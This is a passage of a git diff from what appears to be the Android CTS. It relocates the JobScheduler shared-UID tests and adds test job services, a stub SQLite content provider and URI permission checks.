+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.jobscheduler.cts.jobtestapp;
+
+import android.app.job.JobParameters;
+import android.app.job.JobService;
+import android.content.Intent;
+import android.util.Log;
+
+public class TestJobService extends JobService {
+ private static final String TAG = TestJobService.class.getSimpleName();
+ private static final String PACKAGE_NAME = "android.jobscheduler.cts.jobtestapp";
+ public static final String ACTION_JOB_STARTED = PACKAGE_NAME + ".action.JOB_STARTED";
+ public static final String ACTION_JOB_STOPPED = PACKAGE_NAME + ".action.JOB_STOPPED";
+ public static final String JOB_PARAMS_EXTRA_KEY = PACKAGE_NAME + ".extra.JOB_PARAMETERS";
+
+ @Override
+ public boolean onStartJob(JobParameters params) {
+ Log.i(TAG, "Test job executing: " + params.getJobId());
+ final Intent reportJobStartIntent = new Intent(ACTION_JOB_STARTED);
+ reportJobStartIntent.putExtra(JOB_PARAMS_EXTRA_KEY, params);
+ sendBroadcast(reportJobStartIntent);
+ return true;
+ }
+
+ @Override
+ public boolean onStopJob(JobParameters params) {
+ Log.i(TAG, "Test job stopped executing: " + params.getJobId());
+ final Intent reportJobStopIntent = new Intent(ACTION_JOB_STOPPED);
+ reportJobStopIntent.putExtra(JOB_PARAMS_EXTRA_KEY, params);
+ sendBroadcast(reportJobStopIntent);
+ return true;
+ }
+}
diff --git a/tests/JobSchedulerSharedUid/assets/violet.jpg b/tests/JobSchedulerSharedUid/assets/violet.jpg
new file mode 100644
index 0000000..7785dfd
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/assets/violet.jpg
Binary files differ
diff --git a/tests/JobScheduler/jobperm/Android.mk b/tests/JobSchedulerSharedUid/jobperm/Android.mk
similarity index 94%
rename from tests/JobScheduler/jobperm/Android.mk
rename to tests/JobSchedulerSharedUid/jobperm/Android.mk
index af892d9..8be235f 100644
--- a/tests/JobScheduler/jobperm/Android.mk
+++ b/tests/JobSchedulerSharedUid/jobperm/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2017 The Android Open Source Project
+# Copyright (C) 2018 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
diff --git a/tests/JobScheduler/jobperm/AndroidManifest.xml b/tests/JobSchedulerSharedUid/jobperm/AndroidManifest.xml
similarity index 88%
rename from tests/JobScheduler/jobperm/AndroidManifest.xml
rename to tests/JobSchedulerSharedUid/jobperm/AndroidManifest.xml
index 493c3e8..45e9cf0 100755
--- a/tests/JobScheduler/jobperm/AndroidManifest.xml
+++ b/tests/JobSchedulerSharedUid/jobperm/AndroidManifest.xml
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<!--
- ~ Copyright (C) 2017 The Android Open Source Project
+ ~ Copyright (C) 2018 The Android Open Source Project
~
~ Licensed under the Apache License, Version 2.0 (the "License");
~ you may not use this file except in compliance with the License.
@@ -16,7 +16,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.jobscheduler.cts.jobperm">
+ package="android.jobscheduler.cts.shareduid.jobperm">
<!--
An app that declares a permission that requires a matching signature to
@@ -32,7 +32,7 @@
<!-- Need a way for another app to try to access the permission. So create a content
provider which is enforced by the permission -->
<provider android:name=".JobPermProvider"
- android:authorities="android.jobscheduler.cts.jobperm.provider"
+ android:authorities="android.jobscheduler.cts.shareduid.jobperm.provider"
android:exported="true">
<path-permission
android:pathPrefix="/protected"
diff --git a/tests/JobSchedulerSharedUid/jobperm/README.txt b/tests/JobSchedulerSharedUid/jobperm/README.txt
new file mode 100644
index 0000000..14fa02e
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/jobperm/README.txt
@@ -0,0 +1,2 @@
+This APK uses the same shared UID as CtsJobSchedulerSharedUidTestCases. It has no code but exists for
+a shared-UID tests.
\ No newline at end of file
diff --git a/tests/JobScheduler/jobperm/src/android/jobscheduler/cts/jobperm/JobPermProvider.java b/tests/JobSchedulerSharedUid/jobperm/src/android/jobscheduler/cts/shareduid/jobperm/JobPermProvider.java
similarity index 96%
rename from tests/JobScheduler/jobperm/src/android/jobscheduler/cts/jobperm/JobPermProvider.java
rename to tests/JobSchedulerSharedUid/jobperm/src/android/jobscheduler/cts/shareduid/jobperm/JobPermProvider.java
index 5b3bac7..5c6b4b2 100644
--- a/tests/JobScheduler/jobperm/src/android/jobscheduler/cts/jobperm/JobPermProvider.java
+++ b/tests/JobSchedulerSharedUid/jobperm/src/android/jobscheduler/cts/shareduid/jobperm/JobPermProvider.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.jobscheduler.cts.jobperm;
+package android.jobscheduler.cts.shareduid.jobperm;
import android.annotation.NonNull;
import android.annotation.Nullable;
diff --git a/tests/JobScheduler/shareduid/Android.mk b/tests/JobSchedulerSharedUid/shareduid/Android.mk
similarity index 94%
rename from tests/JobScheduler/shareduid/Android.mk
rename to tests/JobSchedulerSharedUid/shareduid/Android.mk
index 98a9707..1376b4e 100644
--- a/tests/JobScheduler/shareduid/Android.mk
+++ b/tests/JobSchedulerSharedUid/shareduid/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2017 The Android Open Source Project
+# Copyright (C) 2018 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
diff --git a/tests/JobScheduler/shareduid/AndroidManifest.xml b/tests/JobSchedulerSharedUid/shareduid/AndroidManifest.xml
similarity index 94%
rename from tests/JobScheduler/shareduid/AndroidManifest.xml
rename to tests/JobSchedulerSharedUid/shareduid/AndroidManifest.xml
index 7b4bb56..97e5244 100755
--- a/tests/JobScheduler/shareduid/AndroidManifest.xml
+++ b/tests/JobSchedulerSharedUid/shareduid/AndroidManifest.xml
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<!--
- ~ Copyright (C) 2017 The Android Open Source Project
+ ~ Copyright (C) 2018 The Android Open Source Project
~
~ Licensed under the Apache License, Version 2.0 (the "License");
~ you may not use this file except in compliance with the License.
diff --git a/tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java b/tests/JobSchedulerSharedUid/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java
similarity index 91%
rename from tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java
rename to tests/JobSchedulerSharedUid/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java
index 229ed1f..3c2a265 100644
--- a/tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java
+++ b/tests/JobSchedulerSharedUid/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
diff --git a/tests/JobSchedulerSharedUid/src/android/jobscheduler/DummyJobContentProvider.java b/tests/JobSchedulerSharedUid/src/android/jobscheduler/DummyJobContentProvider.java
new file mode 100644
index 0000000..9fa4c44
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/src/android/jobscheduler/DummyJobContentProvider.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.UriMatcher;
+import android.database.Cursor;
+import android.database.sqlite.SQLiteDatabase;
+import android.database.sqlite.SQLiteOpenHelper;
+import android.net.Uri;
+
+/**
+ * Stub content provider used for generating content change reports
+ */
+public class DummyJobContentProvider extends ContentProvider {
+ private static final String DATABASE_NAME = "dummy.db";
+ private static final String NAME_VALUE_TABLE = "name_value";
+
+ private DatabaseHelper mDbHelper;
+ private static UriMatcher sMatcher = new UriMatcher(UriMatcher.NO_MATCH);
+
+ private static final int MATCH_NAME_VALUE = 1;
+
+ public static final String AUTHORITY = "android.jobscheduler.dummyprovider";
+ public static final Uri CONTENT_URI = Uri.parse("content://" + AUTHORITY);
+
+ public static final String _ID = "_id";
+ public static final String NAME = "name";
+ public static final String VALUE = "value";
+
+ static {
+ sMatcher.addURI(AUTHORITY, null, MATCH_NAME_VALUE);
+ }
+
+ /*
+ * (non-Javadoc)
+ * @see android.content.ContentProvider#onCreate()
+ */
+ @Override
+ public boolean onCreate() {
+ mDbHelper = new DatabaseHelper(getContext());
+ return true;
+ }
+
+ private class DatabaseHelper extends SQLiteOpenHelper {
+ private static final int DATABASE_VERSION = 1;
+
+ DatabaseHelper(Context context) {
+ super(context, DATABASE_NAME, null, DATABASE_VERSION);
+ }
+
+ @Override
+ public void onCreate(SQLiteDatabase db) {
+ // create an empty name_value table
+ db.execSQL("CREATE TABLE " + NAME_VALUE_TABLE + " (" + _ID + " INTEGER PRIMARY KEY,"
+ + NAME + " TEXT," + VALUE + " TEXT"+ ");");
+ }
+
+ @Override
+ public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
+ }
+ }
+
+ /*
+ * (non-Javadoc)
+ * @see android.content.ContentProvider#insert(android.net.Uri,
+ * android.content.ContentValues)
+ */
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ String tbName = getTableName(uri);
+ if (tbName == null) {
+ return null;
+ }
+ SQLiteDatabase db = mDbHelper.getWritableDatabase();
+ db.insert(tbName, VALUE, values);
+ getContext().getContentResolver().notifyChange(uri, null);
+ return uri;
+ }
+
+ /*
+ * (non-Javadoc)
+ * @see android.content.ContentProvider#query(android.net.Uri,
+ * java.lang.String[], java.lang.String, java.lang.String[],
+ * java.lang.String)
+ */
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ String tbName = getTableName(uri);
+ if (tbName == null) {
+ return null;
+ }
+ SQLiteDatabase db = mDbHelper.getReadableDatabase();
+ Cursor c = db.query(tbName, projection, selection, selectionArgs, null, null, sortOrder);
+ c.setNotificationUri(getContext().getContentResolver(), uri);
+ return c;
+ }
+
+ private String getTableName(Uri uri) {
+ switch (sMatcher.match(uri)) {
+ case MATCH_NAME_VALUE:
+ return NAME_VALUE_TABLE;
+ default:
+ throw new UnsupportedOperationException();
+ }
+ }
+
+ /*
+ * (non-Javadoc)
+ * @see android.content.ContentProvider#update(android.net.Uri,
+ * android.content.ContentValues, java.lang.String, java.lang.String[])
+ */
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ String tbName = getTableName(uri);
+ if (tbName == null) {
+ return 0;
+ }
+ SQLiteDatabase db = mDbHelper.getWritableDatabase();
+ int count = db.update(tbName, values, selection, selectionArgs);
+ getContext().getContentResolver().notifyChange(uri, null);
+ return count;
+ }
+
+ /*
+ * (non-Javadoc)
+ * @see android.content.ContentProvider#delete(android.net.Uri,
+ * java.lang.String, java.lang.String[])
+ */
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ String tbName = getTableName(uri);
+ if (tbName == null) {
+ return 0;
+ }
+ SQLiteDatabase db = mDbHelper.getWritableDatabase();
+ int count = db.delete(tbName, selection, selectionArgs);
+ getContext().getContentResolver().notifyChange(uri, null);
+ return count;
+ }
+
+ /*
+ * (non-Javadoc)
+ * @see android.content.ContentProvider#getType(android.net.Uri)
+ */
+ @Override
+ public String getType(Uri uri) {
+ return null;
+ }
+}
diff --git a/tests/JobSchedulerSharedUid/src/android/jobscheduler/MockJobService.java b/tests/JobSchedulerSharedUid/src/android/jobscheduler/MockJobService.java
new file mode 100644
index 0000000..cb5a2da
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/src/android/jobscheduler/MockJobService.java
@@ -0,0 +1,540 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler;
+
+import android.annotation.TargetApi;
+import android.app.job.JobInfo;
+import android.app.job.JobParameters;
+import android.app.job.JobScheduler;
+import android.app.job.JobService;
+import android.app.job.JobWorkItem;
+import android.content.ClipData;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Process;
+import android.util.Log;
+
+import junit.framework.Assert;
+
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Handles callback from the framework {@link android.app.job.JobScheduler}. The behaviour of this
+ * class is configured through the static
+ * {@link TestEnvironment}.
+ */
+@TargetApi(21)
+public class MockJobService extends JobService {
+ private static final String TAG = "MockJobService";
+
+ /** Wait this long before timing out the test. */
+ private static final long DEFAULT_TIMEOUT_MILLIS = 30000L; // 30 seconds.
+
+ private JobParameters mParams;
+
+ ArrayList<JobWorkItem> mReceivedWork = new ArrayList<>();
+
+ ArrayList<JobWorkItem> mPendingCompletions = new ArrayList<>();
+
+ private boolean mWaitingForStop;
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ Log.i(TAG, "Destroying test service");
+ if (TestEnvironment.getTestEnvironment().getExpectedWork() != null) {
+ TestEnvironment.getTestEnvironment().notifyExecution(mParams, 0, 0, mReceivedWork,
+ null);
+ }
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ Log.i(TAG, "Created test service.");
+ }
+
+ @Override
+ public boolean onStartJob(JobParameters params) {
+ Log.i(TAG, "Test job executing: " + params.getJobId());
+ mParams = params;
+
+ int permCheckRead = PackageManager.PERMISSION_DENIED;
+ int permCheckWrite = PackageManager.PERMISSION_DENIED;
+ ClipData clip = params.getClipData();
+ if (clip != null) {
+ permCheckRead = checkUriPermission(clip.getItemAt(0).getUri(), Process.myPid(),
+ Process.myUid(), Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ permCheckWrite = checkUriPermission(clip.getItemAt(0).getUri(), Process.myPid(),
+ Process.myUid(), Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+ }
+
+ TestWorkItem[] expectedWork = TestEnvironment.getTestEnvironment().getExpectedWork();
+ if (expectedWork != null) {
+ try {
+ if (!TestEnvironment.getTestEnvironment().awaitDoWork()) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params, permCheckRead,
+ permCheckWrite, null, "Spent too long waiting to start executing work");
+ return false;
+ }
+ } catch (InterruptedException e) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params, permCheckRead,
+ permCheckWrite, null, "Failed waiting for work: " + e);
+ return false;
+ }
+ JobWorkItem work;
+ int index = 0;
+ while ((work = params.dequeueWork()) != null) {
+ Log.i(TAG, "Received work #" + index + ": " + work.getIntent());
+ mReceivedWork.add(work);
+
+ int flags = 0;
+
+ if (index < expectedWork.length) {
+ TestWorkItem expected = expectedWork[index];
+ int grantFlags = work.getIntent().getFlags();
+ if (expected.requireUrisGranted != null) {
+ for (int ui = 0; ui < expected.requireUrisGranted.length; ui++) {
+ if ((grantFlags & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) {
+ if (checkUriPermission(expected.requireUrisGranted[ui],
+ Process.myPid(), Process.myUid(),
+ Intent.FLAG_GRANT_READ_URI_PERMISSION)
+ != PackageManager.PERMISSION_GRANTED) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params,
+ permCheckRead, permCheckWrite, null,
+ "Expected read permission but not granted: "
+ + expected.requireUrisGranted[ui]
+ + " @ #" + index);
+ return false;
+ }
+ }
+ if ((grantFlags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0) {
+ if (checkUriPermission(expected.requireUrisGranted[ui],
+ Process.myPid(), Process.myUid(),
+ Intent.FLAG_GRANT_WRITE_URI_PERMISSION)
+ != PackageManager.PERMISSION_GRANTED) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params,
+ permCheckRead, permCheckWrite, null,
+ "Expected write permission but not granted: "
+ + expected.requireUrisGranted[ui]
+ + " @ #" + index);
+ return false;
+ }
+ }
+ }
+ }
+ if (expected.requireUrisNotGranted != null) {
+ // XXX note no delay here, current impl will have fully revoked the
+ // permission by the time we return from completing the last work.
+ for (int ui = 0; ui < expected.requireUrisNotGranted.length; ui++) {
+ if ((grantFlags & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) {
+ if (checkUriPermission(expected.requireUrisNotGranted[ui],
+ Process.myPid(), Process.myUid(),
+ Intent.FLAG_GRANT_READ_URI_PERMISSION)
+ != PackageManager.PERMISSION_DENIED) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params,
+ permCheckRead, permCheckWrite, null,
+ "Not expected read permission but granted: "
+ + expected.requireUrisNotGranted[ui]
+ + " @ #" + index);
+ return false;
+ }
+ }
+ if ((grantFlags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0) {
+ if (checkUriPermission(expected.requireUrisNotGranted[ui],
+ Process.myPid(), Process.myUid(),
+ Intent.FLAG_GRANT_WRITE_URI_PERMISSION)
+ != PackageManager.PERMISSION_DENIED) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params,
+ permCheckRead, permCheckWrite, null,
+ "Not expected write permission but granted: "
+ + expected.requireUrisNotGranted[ui]
+ + " @ #" + index);
+ return false;
+ }
+ }
+ }
+ }
+
+ flags = expected.flags;
+
+ if ((flags & TestWorkItem.FLAG_WAIT_FOR_STOP) != 0) {
+ Log.i(TAG, "Now waiting to stop");
+ mWaitingForStop = true;
+ TestEnvironment.getTestEnvironment().notifyWaitingForStop();
+ return true;
+ }
+
+ if ((flags & TestWorkItem.FLAG_COMPLETE_NEXT) != 0) {
+ if (!processNextPendingCompletion()) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params,
+ 0, 0, null,
+ "Expected to complete next pending work but there was none: "
+ + " @ #" + index);
+ return false;
+ }
+ }
+ }
+
+ if ((flags & TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK) != 0) {
+ mPendingCompletions.add(work);
+ } else if ((flags & TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP) != 0) {
+ mPendingCompletions.add(0, work);
+ } else {
+ mParams.completeWork(work);
+ }
+
+ if (index < expectedWork.length) {
+ TestWorkItem expected = expectedWork[index];
+ if (expected.subitems != null) {
+ final TestWorkItem[] sub = expected.subitems;
+ final JobInfo ji = expected.jobInfo;
+ final JobScheduler js = (JobScheduler) getSystemService(
+ Context.JOB_SCHEDULER_SERVICE);
+ for (int subi = 0; subi < sub.length; subi++) {
+ js.enqueue(ji, new JobWorkItem(sub[subi].intent));
+ }
+ }
+ }
+
+ index++;
+ }
+
+ if (processNextPendingCompletion()) {
+ // We had some pending completions, clean them all out...
+ while (processNextPendingCompletion()) {
+ }
+ // ...and we need to do a final dequeue to complete the job, which should not
+ // return any remaining work.
+ if ((work = params.dequeueWork()) != null) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params,
+ 0, 0, null,
+ "Expected no remaining work after dequeue pending, but got: " + work);
+ }
+ }
+
+ Log.i(TAG, "Done with all work at #" + index);
+ // We don't notifyExecution here because we want to make sure the job properly
+ // stops itself.
+ return true;
+ } else {
+ boolean continueAfterStart
+ = TestEnvironment.getTestEnvironment().handleContinueAfterStart();
+ try {
+ if (!TestEnvironment.getTestEnvironment().awaitDoJob()) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params, permCheckRead,
+ permCheckWrite, null, "Spent too long waiting to start job");
+ return false;
+ }
+ } catch (InterruptedException e) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params, permCheckRead,
+ permCheckWrite, null, "Failed waiting to start job: " + e);
+ return false;
+ }
+ TestEnvironment.getTestEnvironment().notifyExecution(params, permCheckRead,
+ permCheckWrite, null, null);
+ return continueAfterStart;
+ }
+ }
+
+ boolean processNextPendingCompletion() {
+ if (mPendingCompletions.size() <= 0) {
+ return false;
+ }
+
+ JobWorkItem next = mPendingCompletions.remove(0);
+ mParams.completeWork(next);
+ return true;
+ }
+
+ @Override
+ public boolean onStopJob(JobParameters params) {
+ Log.i(TAG, "Received stop callback");
+ TestEnvironment.getTestEnvironment().notifyStopped();
+ return mWaitingForStop;
+ }
+
+ public static final class TestWorkItem {
+ /**
+ * Stop processing work for now, waiting for the service to be stopped.
+ */
+ public static final int FLAG_WAIT_FOR_STOP = 1<<0;
+ /**
+ * Don't complete this work now, instead push it on the back of the stack of
+ * pending completions.
+ */
+ public static final int FLAG_DELAY_COMPLETE_PUSH_BACK = 1<<1;
+ /**
+ * Don't complete this work now, instead insert to the top of the stack of
+ * pending completions.
+ */
+ public static final int FLAG_DELAY_COMPLETE_PUSH_TOP = 1<<2;
+ /**
+ * Complete next pending completion on the stack before completing this one.
+ */
+ public static final int FLAG_COMPLETE_NEXT = 1<<3;
+
+ public final Intent intent;
+ public final JobInfo jobInfo;
+ public final int flags;
+ public final int deliveryCount;
+ public final TestWorkItem[] subitems;
+ public final Uri[] requireUrisGranted;
+ public final Uri[] requireUrisNotGranted;
+
+ public TestWorkItem(Intent _intent) {
+ intent = _intent;
+ jobInfo = null;
+ flags = 0;
+ deliveryCount = 1;
+ subitems = null;
+ requireUrisGranted = null;
+ requireUrisNotGranted = null;
+ }
+
+ public TestWorkItem(Intent _intent, int _flags) {
+ intent = _intent;
+ jobInfo = null;
+ flags = _flags;
+ deliveryCount = 1;
+ subitems = null;
+ requireUrisGranted = null;
+ requireUrisNotGranted = null;
+ }
+
+ public TestWorkItem(Intent _intent, int _flags, int _deliveryCount) {
+ intent = _intent;
+ jobInfo = null;
+ flags = _flags;
+ deliveryCount = _deliveryCount;
+ subitems = null;
+ requireUrisGranted = null;
+ requireUrisNotGranted = null;
+ }
+
+ public TestWorkItem(Intent _intent, JobInfo _jobInfo, TestWorkItem[] _subitems) {
+ intent = _intent;
+ jobInfo = _jobInfo;
+ flags = 0;
+ deliveryCount = 1;
+ subitems = _subitems;
+ requireUrisGranted = null;
+ requireUrisNotGranted = null;
+ }
+
+ public TestWorkItem(Intent _intent, Uri[] _requireUrisGranted,
+ Uri[] _requireUrisNotGranted) {
+ intent = _intent;
+ jobInfo = null;
+ flags = 0;
+ deliveryCount = 1;
+ subitems = null;
+ requireUrisGranted = _requireUrisGranted;
+ requireUrisNotGranted = _requireUrisNotGranted;
+ }
+
+ @Override
+ public String toString() {
+ return "TestWorkItem { " + intent + " dc=" + deliveryCount + " }";
+ }
+ }
+
+ /**
+ * Configures the expected behaviour for each test. This object is shared across consecutive
+ * tests, so to clear state each test is responsible for calling
+ * {@link TestEnvironment#setUp()}.
+ */
+ public static final class TestEnvironment {
+
+ private static TestEnvironment kTestEnvironment;
+ //public static final int INVALID_JOB_ID = -1;
+
+ private CountDownLatch mLatch;
+ private CountDownLatch mWaitingForStopLatch;
+ private CountDownLatch mDoJobLatch;
+ private CountDownLatch mStoppedLatch;
+ private CountDownLatch mDoWorkLatch;
+ private TestWorkItem[] mExpectedWork;
+ private boolean mContinueAfterStart;
+ private JobParameters mExecutedJobParameters;
+ private int mExecutedPermCheckRead;
+ private int mExecutedPermCheckWrite;
+ private ArrayList<JobWorkItem> mExecutedReceivedWork;
+ private String mExecutedErrorMessage;
+
+ public static TestEnvironment getTestEnvironment() {
+ if (kTestEnvironment == null) {
+ kTestEnvironment = new TestEnvironment();
+ }
+ return kTestEnvironment;
+ }
+
+ public TestWorkItem[] getExpectedWork() {
+ return mExpectedWork;
+ }
+
+ public JobParameters getLastJobParameters() {
+ return mExecutedJobParameters;
+ }
+
+ public int getLastPermCheckRead() {
+ return mExecutedPermCheckRead;
+ }
+
+ public int getLastPermCheckWrite() {
+ return mExecutedPermCheckWrite;
+ }
+
+ public ArrayList<JobWorkItem> getLastReceivedWork() {
+ return mExecutedReceivedWork;
+ }
+
+ public String getLastErrorMessage() {
+ return mExecutedErrorMessage;
+ }
+
+ /**
+ * Block the test thread, waiting on the JobScheduler to execute some previously scheduled
+ * job on this service.
+ */
+ public boolean awaitExecution() throws InterruptedException {
+ return awaitExecution(DEFAULT_TIMEOUT_MILLIS);
+ }
+
+ public boolean awaitExecution(long timeoutMillis) throws InterruptedException {
+ final boolean executed = mLatch.await(timeoutMillis, TimeUnit.MILLISECONDS);
+ if (getLastErrorMessage() != null) {
+ Assert.fail(getLastErrorMessage());
+ }
+ return executed;
+ }
+
+ /**
+ * Block the test thread, expecting to timeout but still listening to ensure that no jobs
+ * land in the interim.
+ * @return True if the latch timed out waiting on an execution.
+ */
+ public boolean awaitTimeout() throws InterruptedException {
+ return awaitTimeout(DEFAULT_TIMEOUT_MILLIS);
+ }
+
+ public boolean awaitTimeout(long timeoutMillis) throws InterruptedException {
+ return !mLatch.await(timeoutMillis, TimeUnit.MILLISECONDS);
+ }
+
+ public boolean awaitWaitingForStop() throws InterruptedException {
+ return mWaitingForStopLatch.await(DEFAULT_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ }
+
+ public boolean awaitDoWork() throws InterruptedException {
+ return mDoWorkLatch.await(DEFAULT_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ }
+
+ public boolean awaitDoJob() throws InterruptedException {
+ if (mDoJobLatch == null) {
+ return true;
+ }
+ return mDoJobLatch.await(DEFAULT_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ }
+
+ public boolean awaitStopped() throws InterruptedException {
+ return mStoppedLatch.await(DEFAULT_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ }
+
+ private void notifyExecution(JobParameters params, int permCheckRead, int permCheckWrite,
+ ArrayList<JobWorkItem> receivedWork, String errorMsg) {
+ //Log.d(TAG, "Job executed:" + params.getJobId());
+ mExecutedJobParameters = params;
+ mExecutedPermCheckRead = permCheckRead;
+ mExecutedPermCheckWrite = permCheckWrite;
+ mExecutedReceivedWork = receivedWork;
+ mExecutedErrorMessage = errorMsg;
+ mLatch.countDown();
+ }
+
+ private void notifyWaitingForStop() {
+ mWaitingForStopLatch.countDown();
+ }
+
+ private void notifyStopped() {
+ if (mStoppedLatch != null) {
+ mStoppedLatch.countDown();
+ }
+ }
+
+ public void setExpectedExecutions(int numExecutions) {
+ // For no executions expected, set count to 1 so we can still block for the timeout.
+ if (numExecutions == 0) {
+ mLatch = new CountDownLatch(1);
+ } else {
+ mLatch = new CountDownLatch(numExecutions);
+ }
+ mWaitingForStopLatch = null;
+ mDoJobLatch = null;
+ mStoppedLatch = null;
+ mDoWorkLatch = null;
+ mExpectedWork = null;
+ mContinueAfterStart = false;
+ }
+
+ public void setExpectedWaitForStop() {
+ mWaitingForStopLatch = new CountDownLatch(1);
+ }
+
+ public void setExpectedWork(TestWorkItem[] work) {
+ mExpectedWork = work;
+ mDoWorkLatch = new CountDownLatch(1);
+ }
+
+ public void setExpectedStopped() {
+ mStoppedLatch = new CountDownLatch(1);
+ }
+
+ public void readyToWork() {
+ mDoWorkLatch.countDown();
+ }
+
+ public void setExpectedWaitForRun() {
+ mDoJobLatch = new CountDownLatch(1);
+ }
+
+ public void readyToRun() {
+ mDoJobLatch.countDown();
+ }
+
+ public void setContinueAfterStart() {
+ mContinueAfterStart = true;
+ }
+
+ public boolean handleContinueAfterStart() {
+ boolean res = mContinueAfterStart;
+ mContinueAfterStart = false;
+ return res;
+ }
+
+ /** Called in each testCase#setup */
+ public void setUp() {
+ mLatch = null;
+ mExecutedJobParameters = null;
+ }
+
+ }
+}
\ No newline at end of file
diff --git a/tests/JobSchedulerSharedUid/src/android/jobscheduler/TriggerContentJobService.java b/tests/JobSchedulerSharedUid/src/android/jobscheduler/TriggerContentJobService.java
new file mode 100644
index 0000000..0428110
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/src/android/jobscheduler/TriggerContentJobService.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler;
+
+import android.annotation.TargetApi;
+import android.app.job.JobInfo;
+import android.app.job.JobParameters;
+import android.app.job.JobScheduler;
+import android.app.job.JobService;
+import android.content.Context;
+import android.os.Handler;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Handles callback from the framework {@link android.app.job.JobScheduler}. The behaviour of this
+ * class is configured through the static
+ * {@link TestEnvironment}.
+ */
+@TargetApi(21)
